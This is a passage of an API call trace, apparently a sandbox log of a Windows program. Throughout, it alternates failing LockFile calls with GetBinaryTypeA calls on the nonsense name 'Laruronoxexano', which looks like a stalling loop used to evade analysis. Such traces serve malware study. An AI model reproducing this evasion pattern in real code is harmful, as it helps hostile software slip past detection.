nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.407] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.407] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.407] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.407] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.407] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.407] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.407] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.407] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.407] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.407] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.407] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.408] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.408] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.408] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.408] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.408] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.408] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.408] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.408] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.408] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.408] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.408] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.408] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.408] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.408] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.408] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.408] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.408] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.408] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.408] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.408] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.408] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.409] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.409] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.409] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.409] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.409] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.409] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.409] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.409] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.409] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.409] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.409] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.409] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.409] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.409] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.409] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.409] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.409] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.409] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.409] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.410] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.410] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.410] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.410] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.410] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.410] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.410] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.410] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.410] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.410] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.410] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.410] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.410] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.410] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.410] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.410] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.411] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.411] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.411] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.411] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.411] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.411] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.411] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.411] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.411] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.411] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.411] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.411] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.411] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.411] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.411] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.411] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.411] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.411] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.411] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.411] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.411] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.412] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.412] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.412] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.412] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.412] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.412] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.412] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.412] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.412] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.412] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.412] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.412] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.412] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.412] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.412] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.412] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.412] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.412] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.412] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.412] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.413] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.413] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.413] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.413] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.413] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.413] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.413] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.413] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.413] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.413] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.413] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.413] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.413] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.413] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.413] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.413] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.413] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.413] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.413] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.413] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.414] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.414] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.414] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.414] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.414] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.414] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.414] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.414] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.414] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.414] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.414] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.414] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.414] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.414] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.414] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.414] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.414] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.414] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.414] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.414] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.415] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.415] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.415] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.415] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.415] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.415] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.415] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.415] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.415] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.415] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.415] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.415] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.415] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.415] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.415] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.415] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.415] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.415] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.415] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.415] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.416] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.416] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.416] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.416] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.416] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.416] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.416] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.416] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) 